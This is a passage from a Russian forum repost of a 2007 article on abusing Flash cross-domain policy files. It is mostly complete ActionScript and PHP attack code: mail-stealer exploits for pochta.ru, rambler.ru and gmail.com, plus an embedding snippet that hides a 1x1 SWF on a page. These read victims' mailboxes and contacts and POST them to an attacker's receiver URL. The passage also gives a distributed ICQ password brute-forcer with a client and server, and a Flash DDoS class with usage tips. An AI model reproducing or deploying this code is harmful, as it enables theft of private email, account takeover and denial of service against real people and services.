}
}
function sendGetLinkRequsts():Void {
if(allMessageLinks.length) {
if(allMessageLinks.length < messagesUntilDump) {
messagesUntilDump = allMessageLinks.length; }
for(var i:Number = 1; i <= messagesUntilDump; i++) {
// Getting content of message
serverRequest(
baseUrl + '/' + allMessageLinks.shift() + '&',
onGetMessageContent,
'GET');
}
}
}
function onGetMessageContent(loadedData:String):Void {
if(messagesContent.push(loadedData) >= messagesUntilDump) {
// Dumping messages
serverRequest(
_level0.dataReceiverUrl,
function() {},
'POST',
'data=' + escape(messagesContent.join('<br>')));
messagesContent = new Array();
sendGetLinkRequsts();
}
}
function serverRequest(
requestUrl:String, onDataFunc:Function, method:String, vars:String):Void {
var sender:LoadVars = new LoadVars();
var loader:LoadVars = new LoadVars();
if(vars) { sender.decode(vars); }
loader.onData = onDataFunc;
sender.sendAndLoad(requestUrl, loader, method);
}
// EOF
pochta.ru
Код для кражи всех сообщений из директорий Inbox, Sent, Draft, Trash [AS3]
Параметры:
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 9+
· Javascript
/*
pochta.ru Mail Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals all messages in next folders:
inbox, draft, sent, trash
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// [optional] messagesUntilDump:Number = Number of PMs per one dump
var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;
var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;
if(dataReceiverUrl) {
import flash.external.ExternalInterface;
if(!messagesUntilDump) { messagesUntilDump = 3; }
var messagesContent:Array = new Array();
var allLinks:Array = new Array();
var allLinksObject:Object = new Object();
var foldersDone:Number = 0;
// Getting referrer
var referrer:String = ExternalInterface.call(
"function() { return document.referrer; }").toString();
var messageId:String = referrer.match(/index=(\d+)/i)[1];
var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));
// Loading policy file / Expanding 'sandbox'
flash.system.Security.loadPolicyFile(baseUrl + '/view.php?index=' + messageId + '&partID=2&actionID=download_attach');
var folders:Array = new Array(
'/mailbox.php?mailbox=INBOX&', // Inbox
'/mailbox.php?mailbox=INBOX.Draft&', // Draft
'/mailbox.php?mailbox=INBOX.Sent&', // Sent
'/mailbox.php?mailbox=INBOX.Trash&'); // Trash
// Getting lists of messages in some folders (folders)
var loader:LoadUrl = new LoadUrl(null, onGetMessageList);
for each (var folder in folders) {
new LoadUrl(baseUrl + folder, onGetMessageList).loadUrl();
}
}
function onGetMessageList(loadedData:String, requestUrl:String):void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Parsing received data for links of messages
var currentLinks:Array = loadedData.match(/(message\.php\?index=\d+)/ig);
var currentFolder:String = requestUrl.match(/\?(mailbox=[a-z\.]+)&/i)[1];
// Deleting similar links
for each (var link:String in currentLinks) {
allLinksObject[link + '&' + currentFolder] = null; }
foldersDone++;
if(foldersDone == folders.length) {
for(var key:String in allLinksObject) {
allLinks.push(key); }
sendGetLinkRequsts();
}
}
function sendGetLinkRequsts():void {
if(allLinks.length) {
if(allLinks.length < messagesUntilDump) {
messagesUntilDump = allLinks.length; }
var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);
for(var i:Number = 1; i <= messagesUntilDump; i++) {
// Getting content of message
loader.setRequestUrl(baseUrl + '/' + allLinks.shift());
loader.loadUrl();
}
}
}
function onGetMessageContent(loadedData:String, requestUrl:String):void {
if(messagesContent.push(loadedData) >= messagesUntilDump) {
// Dumping messages
var loader:LoadUrl = new LoadUrl(
dataReceiverUrl,
function() {},
'POST',
'data=' + escape(messagesContent.join('<br>')));
loader.loadUrl();
messagesContent = new Array();
sendGetLinkRequsts();
}
}
// EOF
Необходимый класс [LoadUrl.as]:
package {
import flash.net.*;
import flash.events.*;
public class LoadUrl {
private var requestUrl:String;
private var method:String;
private var vars:String;
private var onLoadFunction:Function;
// Constructor
public function LoadUrl(
requestUrl:String, onLoadFunction:Function, method:String = 'GET', vars:String = null):void {
this.requestUrl = requestUrl;
this.method = method;
this.vars = vars;
this.onLoadFunction = onLoadFunction;
}
public function setRequestUrl(requestUrl:String):void {
this.requestUrl = requestUrl;
}
public function getRequestUrl():String {
return(this.requestUrl);
}
public function loadUrl():void{
var request:URLRequest = new URLRequest(requestUrl);
request.method = method;
if(vars) { request.data = vars; }
var loader:URLLoader = new URLLoader();
loader.addEventListener(
Event.COMPLETE,
function() { onLoadFunction(loader.data, getRequestUrl()); } );
loader.addEventListener(
IOErrorEvent.IO_ERROR,
function() { loadUrl(); });
try {
loader.load(request);
} catch (error:Error) { return; }
}
}
}
rambler.ru
Код для кражи адресной книги и всех сообщений из директорий Inbox, Sent, Draft, Trash [AS3]
Параметры:
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 9+
· Javascript
/*
rambler.ru Mail Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals all messages in next folders:
inbox, draft, sent, trash + contacts
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// [optional] messagesUntilDump:Number = Number of PMs per one dump
var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;
var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;
if(dataReceiverUrl) {
import flash.external.ExternalInterface;
if(!messagesUntilDump) { messagesUntilDump = 3; }
var messagesContent:Array = new Array();
var allLinks:Array = new Array('contacts.cgi');
var allLinksObject:Object = new Object();
var foldersDone:Number = 0;
// Getting referrer
var referrer:String = ExternalInterface.call(
"function() { return document.referrer; }").toString();
var messageId:String = referrer.match(/what=(\d+)/i)[1];
var mbox:String = referrer.match(/mbox=([a-z]+)/i)[1];
var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));
// Loading policy file / Expanding 'sandbox'
flash.system.Security.loadPolicyFile(baseUrl + '/mail.cgi?mode=obj;mbox=' + mbox + ';what=' + messageId + '.2;for=download');
var folders:Array = new Array(
'/mail.cgi?mode=mailbox;mbox=INBOX&', // Inbox
'/mail.cgi?mode=mailbox;mbox=SentBox&', // Sent
'/mail.cgi?mode=mailbox;mbox=DraftBox&', // Draft
'/mail.cgi?mode=mailbox;mbox=Trash&'); // Trash
// Getting lists of messages in some folders (folders)
var loader:LoadUrl = new LoadUrl(null, onGetMessageList);
for each (var folder in folders) {
new LoadUrl(baseUrl + folder, onGetMessageList).loadUrl();
}
}
function onGetMessageList(loadedData:String):void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Parsing received data for links of messages
var currentLinks:Array = loadedData.match(/(mail.cgi\?mode=obj;[^\"]+)/ig);
// Deleting similar links
for each (var link:String in currentLinks) {
allLinksObject[link + '&'] = null; }
foldersDone++;
if(foldersDone == folders.length) {
for(var key:String in allLinksObject) {
allLinks.push(key); }
sendGetLinkRequsts();
}
}
function sendGetLinkRequsts():void {
if(allLinks.length) {
if(allLinks.length < messagesUntilDump) {
messagesUntilDump = allLinks.length; }
var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);
for(var i:Number = 1; i <= messagesUntilDump; i++) {
// Getting content of message
loader.setRequestUrl(baseUrl + '/' + allLinks.shift());
loader.loadUrl();
}
}
}
function onGetMessageContent(loadedData:String):void {
if(messagesContent.push(loadedData) >= messagesUntilDump) {
// Dumping messages
var loader:LoadUrl = new LoadUrl(
dataReceiverUrl,
function() {},
'POST',
'data=' + escape(messagesContent.join('<br>')));
loader.loadUrl();
messagesContent = new Array();
sendGetLinkRequsts();
}
}
// EOF
В примере используется класс LoadUrl такой же, как и для gmail.com (см. далее)
icqmail.com
На данном почтовом сервере присутствует описанная уязвимость, однако в ходе проверки обнаружились еще 3 активных XSS (поля from, to, cc), множество пассивных, поэтому писать exploit для данного сервиса я не стал, ибо использование активных XSS в данном случае эффективнее.
gmail.com
Данный почтовый сервис уязвим, если используется "Gmail's basic HTML view" (при отключенном Javascript). При переходе по ссылке в теле письма передается Referer. На основании двух параметров из Referer формируем адрес attachment. Exploit придется писать на AS3, т. к. понадобятся регулярные выражения без использования Javascript. Referer необходимо будет передавать клипу параметром, например, используя PHP + FlashVars.
Gmail's basic HTML view - http://mail.google.com/mail/h/
Код для кражи всех писем в директориях All Mail, Trash + contacts [AS3]
Параметры:
· Referer - адрес присланного жертве письма
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 9+
/*
gmail.com Mail Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals all mail + contacts
Works in Gmail's basic HTML view
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// referer:String
// [optional] messagesUntilDump:Number = Number of PMs per one dump
var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;
var referer:String = this.loaderInfo.parameters.referer;
var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;
if(dataReceiverUrl && referer) {
if(!messagesUntilDump) { messagesUntilDump = 3; }
var messagesContent:Array = new Array();
var allLinks:Array = new Array('?v=cl');
var allLinksObject:Object = new Object();
var foldersDone:Number = 0;
var baseUrl:String = referer.substring(0, referer.lastIndexOf('/'));
var th:String = referer.match(/th=([a-z0-9]+)/i)[1];
// Loading policy file / Expanding 'sandbox'
flash.system.Security.loadPolicyFile(baseUrl + '?realattid=file0&attid=0.1&disp=attd&view=att&th=' + th);
var folders:Array = new Array(
'/s=a&', // All Mail
'/s=t&'); // Trash
// Getting lists of messages in some folders (folders)
var loader:LoadUrl = new LoadUrl(null, onGetMessageList);
for each (var folder in folders) {
loader.setRequestUrl(baseUrl + folder);
loader.loadUrl();
}
}
function onGetMessageList(loadedData:String):void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Parsing received data for links of messages
var currentLinks:Array = loadedData.match(/(\?v=[^\"]+&th=[^\"]+)/ig);
// Deleting similar links
for each (var link:String in currentLinks) {
allLinksObject[link] = null; }
foldersDone++;
if(foldersDone == folders.length) {
for(var key:String in allLinksObject) {
allLinks.push(key); }
sendGetLinkRequsts();
}
}
function sendGetLinkRequsts():void {
if(allLinks.length) {
if(allLinks.length < messagesUntilDump) {
messagesUntilDump = allLinks.length; }
var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);
for(var i:Number = 1; i <= messagesUntilDump; i++) {
// Getting content of message
loader.setRequestUrl(baseUrl + '/' + allLinks.shift() + '&');
loader.loadUrl();
}
}
}
function onGetMessageContent(loadedData:String):void {
if(messagesContent.push(loadedData) >= messagesUntilDump) {
// Dumping messages
var loader:LoadUrl = new LoadUrl(
dataReceiverUrl,
function() {},
'POST',
'data=' + encodeURIComponent(messagesContent.join('<br>')));
loader.loadUrl();
messagesContent = new Array();
sendGetLinkRequsts();
}
}
// EOF
Необходимый класс [LoadUrl.as]:
package {
import flash.net.*;
import flash.events.*;
public class LoadUrl {
private var requestUrl:String;
private var method:String;
private var vars:String;
private var onLoadFunction:Function;
// Constructor
public function LoadUrl(
requestUrl:String, onLoadFunction:Function, method:String = 'GET', vars:String = null):void {
this.requestUrl = requestUrl;
this.method = method;
this.vars = vars;
this.onLoadFunction = onLoadFunction;
}
public function setRequestUrl(requestUrl:String):void {
this.requestUrl = requestUrl;
}
public function getRequestUrl():String {
return(this.requestUrl);
}
public function loadUrl():void{
var request:URLRequest = new URLRequest(requestUrl);
request.method = method;
if(vars) { request.data = vars; }
var loader:URLLoader = new URLLoader();
loader.addEventListener(
Event.COMPLETE,
function() { onLoadFunction(loader.data); } );
loader.addEventListener(
IOErrorEvent.IO_ERROR,
function() { loadUrl(); });
try {
loader.load(request);
} catch (error:Error) { return; }
}
}
}
Пример запуска на PHP:
<?php $referer = urlencode($_SERVER['HTTP_REFERER']); ?>
<OBJECT
id="fl"
classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
width="1"
height="1"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<PARAM name="movie" value="fl.swf">
<PARAM name="FlashVars" value="dataReceiverUrl=http://hsite.com/cDataReceiver.php<?php echo '&referer=' . $referer;?>">
<EMBED
name="fl"
src="fl.swf"
FlashVars="dataReceiverUrl=http://hsite.com/cDataReceiver.php<?php echo '&referer=' . $referer;?>"
width="1"
height="1"
swLiveConnect="true"
pluginspace="http://www.macromedia.com/go/flashplayer/">
</EMBED>
</OBJECT>
При просмотре результатов использовать кодировку UTF-8
От необходимости поддержки браузером жертвы Javascript можно избавиться: для этого exploits надо писать на AS3, Referer получать используя, например, PHP, передавать его клипу посредством FlashVars (см. пример gmail.com)
Для проверки почтовых сервисов на XSS, CDDAF рекомендую использовать обновленную версию cXssTester. Для поиска XSS посылаем письмо на свой почтовый ящик и смотрим исходный код полученного письма, ищем недостатки в фильтрации. Для проверки на наличие CDDAF смотрим, возможно ли получить адрес прикрепленных к письму файлов или самого письма. Это можно сделать, получив Referer от жертвы, поэтому необходимо проверить, передается ли он при переходе по ссылке из письма, загружаются ли внешние HTML элементы. Также необходимо обратить внимание на наличие / отсутствие фильтрации кода сертификата в теле письма.
Alexsize
07.09.2007, 15:25
Пример распределенного перебора паролей (icq.com)
Рассмотрим распределенный перебор паролей на основе CDDAF на примере icq.com. Как я уже отмечал ранее, на сервере может присутствовать необходимый нам файл сертификата, причем неправильно настроенный (domain="*"). Яркий пример - icq.com (http://icq.com/crossdomain.xml).
Можно написать icq bruteforcer на основе сервиса ICQ2Go: клиентскую часть на AS1/2, серверную на PHP. В данном случае распределенный перебор паролей будет очень похож на сеть распределенного вычисления: клиент будет получать от сервера задание (пары uin-password), проверять их, отправлять результат серверу. Сервер будет выдавать клиентам задания (если клиент не посылает результат проверки в течение некоторого времени (clientTimeout), сервер отдаст это задание другому клиенту), записывать результаты, текущие параметры процесса перебора.
Скорость перебора будет зависить от числа клиентов (например, если разместить клиент на нескольких сайтах, то чем больше их суммарный online, тем выше скорость). Сразу отмечу, что после нескольких неудачных попыток аутентификации сервер icq блокирует клиента на некоторое время, поэтому для приемлемой скорости перебора необходим большой online (также необходимо правильно настроить таймауты в клиентской части).
В коде клиента я оставил информационные сообщения, их можно убрать (удалить строки вида st.text = "text";)
Клиент
/*
Client for cIcqBrute by Cenarius
Email: ooohoow@gmail.com | Icq: 100732
Version: 0.2
*/
// -----------------------------------
// Config
// -----------------------------------
// Url of server, which sends tasks / receives reports
var serverUrl:String = 'http://localhost/cIcqBrute.php';
// Url of preferences for icq client
var preferencesUrl:String = 'http://download.icq.com/icq2go/flicq_preferences.xml';
// Hello server's path
var helloPath:String = '/hello';
// Data server's path
var dataPath:String = '/data';
// Number of combo for checking per one session
var comboPerSession:Number = 2;
// Freeze interval for hello tryes (seconds)
var globalFreezeTime:Number = 30;
// Timeout for each server (seconds)
var freezeInterval:Number = 60;
// Time in which preferences will be updated (hours)
var preferencesUpdateTime:Number = 24;
var transactionNumber:Number = 1000;
// -----------------------------------
// -----------------------------------
this.createTextField("st",1,20,50,500,500);
var preferences:SharedObject = SharedObject.getLocal("Preferences");
if(!preferences.data.checkedCombo) {
preferences.data.checkedCombo = 0; }
// Checking if freeze set
if(preferences.data.globalFreeze && preferences.data.globalFreeze >= new Date().valueOf()) {
st.text = "Freeze!\n";
var tmId = setInterval(
function() {
if(preferences.data.globalFreeze <= new Date().valueOf()) {
clearInterval(tmId);
checkCombo(); }
},
1000);
} else {
checkCombo(); }
function checkCombo():Void {
var preferences:SharedObject = SharedObject.getLocal("Preferences");
if(preferences.data.comboExpires * 1000 < new Date().valueOf() or !getCurrentCombo()) {
var report:String = "id=";
if(preferences.data.comboExpires) {
report += preferences.data.comboExpires; }
var goodCombo:SharedObject = SharedObject.getLocal("Good");
report += "&good=";
for(var uin in goodCombo.data) {
report += uin + ':' + goodCombo.data[uin] + chr(182); }
st.text = "\n\t\t\t/* cIcqBruteforcer by Cenarius */\n\t\t\t\t\tversion 0.2\n\n";
st.text += "Sending good & getting new combo...\t";
// Sending good combo and loading new task
System.security.loadPolicyFile(serverUrl);
serverRequest(serverUrl, report, 'POST', onComboLoaded);
}
else {
st.text += "\n";
// Checking next combo
getCurrentCombo();
checkPreferences(); }
}
// Sets next combo and returns true
// Returns false if no combo remains
function getCurrentCombo():Boolean {
var combo:SharedObject = SharedObject.getLocal("Combo");
for(var uin in combo.data) {
if(combo.data[uin] != false) {
_global.currentUin = uin;
_global.currentPass = combo.data[uin];
return(true);
}
}
return(false);
}
function checkPreferences():Void {
var preferences:SharedObject = SharedObject.getLocal("Preferences");
if(!preferences.data.helloServer or preferences.data.preferencesExpires < new Date().valueOf()) {
getPreferences(preferencesUrl); }
else {
// Sending Hello
st.text += "Sending hello...\t";
serverRequest(
preferences.data.helloServer + helloPath,
'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500',
'GET',
onHelloDone);
}
}
function getPreferences(preferencesUrl:String):Void {
st.text += "Getting new preferences...\t";
var preferencesXML:XML = new XML();
preferencesXML.ignoreWhite = true;
preferencesXML.load(preferencesUrl);
preferencesXML.onLoad = function(success:Boolean) {
if(success) {
st.text += "done\n";
xmlParse("server_url", preferencesXML);
xmlParse("version", preferencesXML);
if(server_url) {
var preferences:SharedObject = SharedObject.getLocal("Preferences");
preferences.data.preferncesExpires = new Date().valueOf() + preferencesUpdateTime*60*60*1000;
preferences.data.helloServer = server_url;
preferences.data.clientVersion = version;
// Sending Hello
st.text += "Sending hello...\t";
serverRequest(
preferences.data.helloServer + helloPath,
'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500',
'GET',
onHelloDone);
}
else {
// No such node
}
}
else {
// Load error
}
}
}
// -----------------------------------
// OnLoad Functions
// -----------------------------------
function onComboLoaded(success:Boolean):Void {
if(success) {
st.text += "done\n";
var combo:SharedObject = SharedObject.getLocal("Combo");
var goodCombo:SharedObject = SharedObject.getLocal("Good");
var preferences:SharedObject = SharedObject.getLocal("Preferences");
combo.clear();
goodCombo.clear();
preferences.data.comboExpires = this.expires;
var comboArray = this.cmb.split(chr(182));
for(var uin in comboArray) {
combo.data[comboArray[uin].split(':')[0]] = comboArray[uin].split(':')[1];
}
getCurrentCombo();
checkPreferences();
} else {
// Making next try in 2 seconds
delay(checkCombo, 2000);
}
}
function onHelloDone(success:Boolean):Void {
if(success) {
st.text += "done\n";
st.text += "Data server: " + this.server + " [" + this.session + "]\n";
var servers:SharedObject = SharedObject.getLocal("Servers");
if(!checkExistence(this.server, "Servers") or servers.data[this.server].freezeTime <= new Date().valueOf()) {
var preferences:SharedObject = SharedObject.getLocal("Preferences");
preferences.data.currentDataServer = this.server;
servers.data[preferences.data.currentDataServer] = new Object();
servers.data[preferences.data.currentDataServer].session = this.session;
st.text += "Sending login request...\t";
// Login try
serverRequest(
'http://' + this.server + dataPath,
'session=' + this.session + '&isicqemail=0&pass=' + encrypt(currentPass) + '&enc=1&stat=0&sn=' + currentUin + '&trans=' + getNextTransNum() + '&event=2000',
'GET',
onLoginTry);
} else {
var preferences:SharedObject = SharedObject.getLocal("Preferences");
preferences.data.globalFreeze = new Date().valueOf() + globalFreezeTime * 1000;
st.text += "Delay " + globalFreezeTime + " 000 milliseconds\n";
delay(
function() {
// Sending Hello
st.text += "Sending hello...\t";
serverRequest(
preferences.data.helloServer + helloPath,
'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500',
'GET',
onHelloDone);
}, globalFreezeTime * 1000);
}
} else {
checkCombo();
}
}
function onLoginTry(success:Boolean):Void {
if(success) {
var combo:SharedObject = SharedObject.getLocal("Combo");
var preferences:SharedObject = SharedObject.getLocal("Preferences");
var servers:SharedObject = SharedObject.getLocal("Servers");
st.text += "done [" + this.code + "]\n";
if(this.code == 1020) {
// Bad password
st.text += 'Bad: ' + currentUin + ":" + currentPass + "\n";
combo.data[currentUin] = false;
preferences.data.checkedCombo++;
}
else if(this.event == 2010) {
// Good password
st.text += 'Good: ' + currentUin + ":" + currentPass + "\n";
var goodCombo:SharedObject = SharedObject.getLocal("Good");
goodCombo.data[currentUin] = currentPass;
combo.data[currentUin] = false;
preferences.data.checkedCombo++;
}
if(preferences.data.checkedCombo >= comboPerSession or this.code == 1100) {
// Rate limit
servers.data[preferences.data.currentDataServer].freezeTime = new Date().valueOf() + freezeInterval * 1000;
preferences.data.checkedCombo = 0;
st.text += "Freezing: " + preferences.data.currentDataServer + " [" + servers.data[preferences.data.currentDataServer].freezeTime + "]\n";
if(getCurrentCombo()) {
st.text += "Getting next session\n";
// Sending Hello
st.text += "Sending hello...\t";
serverRequest(
preferences.data.helloServer + helloPath,
'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500',
'GET',
onHelloDone);
} else {
checkCombo();
}
}
else {
if(getCurrentCombo()) {
// Login try
st.text += "Sending login request...\t";
serverRequest(
'http://' + preferences.data.currentDataServer + dataPath,
'session=' + servers.data[preferences.data.currentDataServer].session + '&isicqemail=0&pass=' + encrypt(currentPass) + '&enc=1&stat=0&sn=' + currentUin + '&trans=' + getNextTransNum() + '&event=2000',
'GET',
onLoginTry); }
else {
checkCombo();
}
}
} else {
checkCombo();
}
}
// -----------------------------------
// Auxiliary functions
// -----------------------------------
function serverRequest(
requestUrl:String, vars:String, method:String, onLoadFunc:Function):Void {
var sender:LoadVars = new LoadVars();
var loader:LoadVars = new LoadVars();
sender.decode(vars);
loader.onLoad = onLoadFunc;
sender.sendAndLoad(requestUrl, loader, method);
}
function checkExistence(server:String, soName:String):Boolean {
var _so:SharedObject = SharedObject.getLocal(soName);
for(var s:String in _so.data) {
if(s == server) {
return(true); }
}
return(false);
}
// Delay: starts func:Function in interval:Number milliseconds
function delay(func:Function, interval:Number) {
if(timeId) { clearInterval(timeId); timeId = false; func(); }
else { timeId = setInterval(delay, interval, func); }
}
// Parses dataNode:XMLNode, if founds nodeName:String
// initializes _global[nodeName_str] with value of node nodeName
function xmlParse(nodeName:String, dataNode:XMLNode) {
for (var node:XMLNode = dataNode.firstChild; node != null; node = node.nextSibling) {
if(node.nodeType == 1) {
if(node.nodeName == nodeName) {
_global[nodeName] = node.firstChild.toString(); }
if(node.hasChildNodes()) {
xmlParse(nodeName, node); }
}
}
}
// Returns next transaction number
function getNextTransNum():Number {
if(transactionNumber > 99999) {
transactionNumber = 1000; }
return(transactionNumber++);
}
// Encrypts string:String, returns encrypted string
function encrypt(string:String):String {
var encData:String = "";
for(var i = 0; i <= string.length - 1; i++) {
var firstChar = (string.charCodeAt(i) & 240) >> 4;
var secondChar = string.charCodeAt(i) & 15;
encData += String.fromCharCode(firstChar + 65) + String.fromCharCode(secondChar + 65);
}
return(encData);
}
// EOF
Сервер на PHP:
<?php
/*
Server for cIcqBrute by Cenarius
Email: ooohoow@gmail.com | Icq: 100732
Version: 0.1
*/
// --------------------------------
// Config
// --------------------------------
$comboFile = 'cmb.txt'; // File with combo (uin:password)
$goodFile = 'good.txt'; // File for dumping good combo
$tmpFile = 'combo_tmp.txt'; // File for writing temporary info of bruteforcing process
$comboPerClient = 2; // Number of combo in one client's task
$clientTimeout = 300; // Client timeout (seconds)
// --------------------------------
set_time_limit(0);
error_reporting(E_ALL ^ E_NOTICE);
if(!isset($_POST['id']) or !isset($_POST['good'])) {
echo '<?xml version="1.0"?><cross-domain-policy><allow-access-from domain="*" secure="false" /></cross-domain-policy>'."\";
exit();
}
if($_POST['id']) {
$tmpContent = file($tmpFile);
$clientCombo = parseTmp($tmpContent);
$comboOffset = trim($tmpContent[0]);
$clientCombo[(int)$_POST['id']] = 'del';
updateTmp($clientCombo, $comboOffset);
}
if($_POST['good']) {
$gHandle = fopen($goodFile, "a");
fwrite($gHandle, implode("\n", explode(chr(182), stripslashes($_POST['good']))));
fclose($gHandle);
}
if(!file_exists($comboFile) || !is_readable($comboFile)) {
exit("- Error: can't open/read <b>$comboFile</b>"); }
if(!file_exists($tmpFile) || filesize($tmpFile) == 0) {
$comboOffset = 0; }
else {
$tmpContent = file($tmpFile);
$clientCombo = parseTmp($tmpContent);
$comboOffset = trim($tmpContent[0]);
if($clientCombo) {
foreach(array_keys($clientCombo) as $liveTime) {
if(time() > $liveTime) {
list($offset, $amount) = split(':', $clientCombo[$liveTime]);
sliceCombo($offset, $amount);
$clientCombo[$liveTime] = 'del';
$id = time() + $clientTimeout;
echo '&expires=' . $id . "\";
$clientCombo[$id] = $offset . ':' . $amount;
updateTmp($clientCombo, $comboOffset);
exit();
}
}
}
}
$newOffset = sliceCombo($comboOffset, $comboPerClient);
$id = time() + $clientTimeout;
echo '&expires=' . $id . "\";
$clientCombo[$id] = $comboOffset . ':' . $comboPerClient;
updateTmp($clientCombo, $newOffset);
function parseTmp($tmpContent) {
$comboOffset = trim(array_shift($tmpContent));
if(!$comboOffset) {
exit(" - Error: wrong tmp file: <b>$tmpFile</b><br> Repair or delete it"); }
foreach($tmpContent as $str) {
if(preg_match("/(\d+)\t(\d+:\d+)\n/", $str, $matches)) {
$clientCombo[$matches[1]] = $matches[2];
}
}
return $clientCombo;
}
function sliceCombo($offset, $amount) {
global $comboFile;
$handle = fopen($comboFile, "r") or exit();
if(fseek($handle, $offset) == -1) {
exit(); }
$answer = 'cmb=';
for($i = 1; $i <= $amount; $i++) {
$answer .= trim(fgets($handle)) . chr(182); }
$answer = preg_replace("/".chr(182)."$/", "", $answer);
echo $answer;
$newOffset = ftell($handle);
fclose($handle);
return $newOffset;
}
function updateTmp($data, $mainOffset) {
global $tmpFile;
$tmpHandle = fopen($tmpFile, "w");
fwrite($tmpHandle, $mainOffset . "\n");
foreach(array_keys($data) as $liveTime) {
if($data[$liveTime] != 'del') {
fwrite($tmpHandle, $liveTime . "\t" . $data[$liveTime] . "\n");
}
}
fclose($tmpHandle);
}
?>
Пример DDoS
Приведу простейший пример реализации DDoS на AS3. Клиент будет в некоторое количество потоков посылать серверу запрос и разрывать соединение. Для этого я написал класс на основе URLLoader [DDoS.as]:
package {
import flash.net.*;
import flash.events.*;
public class DDoS {
private var targetUrl:String;
private var method:String;
private var vars:String;
// Constructor
public function DDoS(
targetUrl:String, method:String = 'GET', vars:String = null):void {
this.targetUrl = targetUrl;
this.method = method;
this.vars = vars;
}
// Starts DDoS
public function init():void{
var request:URLRequest = new URLRequest(targetUrl);
request.method = method;
if(vars) { request.data = vars; }
var loader:URLLoader = new URLLoader();
loader.addEventListener(Event.OPEN, function() { loader.close(); init(); } );
try {
loader.load(request);
} catch (error:Error) { init(); }
}
}
}
Пример использования:
// Config
const policyFile = "http://site.com/cross.xml";
const threadsNumber = 15;
flash.system.Security.loadPolicyFile(policyFile);
var ddos:DDoS = new DDoS('http://site.com/search.php', 'POST', 'a=b&c=d');
for(var i:Number = 1; i <= threadsNumber; i++) {
ddos.init();
}
Полученный клип можно расположить на множестве сайтов: чем больше суммарный online, тем больше шансов на успех.
Трудности при написании exploits
При написании эксплоитов для описанной уязвимости важно стремиться к максимальной универсальности, кросс-браузерности. При этом и возникают проблемы из-за того, что клиенты используют разные браузеры, разные версии Flash Player. Часто приходится использовать регулярные выражения, однако поддержка RegExp появилась только с Flash Player 9. Использовать RegExp в предыдущей версии плеера можно посредством вызова Javascript (класс ExternalInterface). Таким образом, если при написании exploit необходимо использовать регулярные выражения, есть два выхода:
> Использовать RegExp Javascript'a через класс ExternalInterface:
+ Работа в Flash Player 8+
- Необходимость поддержки браузером клиента Javascript
> Использовать RegExp в ActionScript 3:
+ Не требуется поддержка Javascript
- Работа только в Flash Player 9+
Примеры использования обоих методов были приведены разделе о практическом применении уязвимости.
Заключение
На мой взгляд, в настоящее время хакеры для своих целей в основном используют Javascript, однако возможности Flash намного его превосходят(особенно с появлением ActionScript 3) Надеюсь, данная статья это продемонстрировала. Были рассмотрены наиболее общие способы применения уязвимости, однако только ими ее использование не ограничивается.
Скачать исходные коды скриптов (http://www.rapidshare.ru/393849)
Статья взята с сайта www.securitylab.ru (http://www.securitylab.ru/contest/300506.php#_Toc173351236)
Author: Cenarius
Email: ooohoow@gmail.com Icq: 100732
Date: 26 July 2007
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot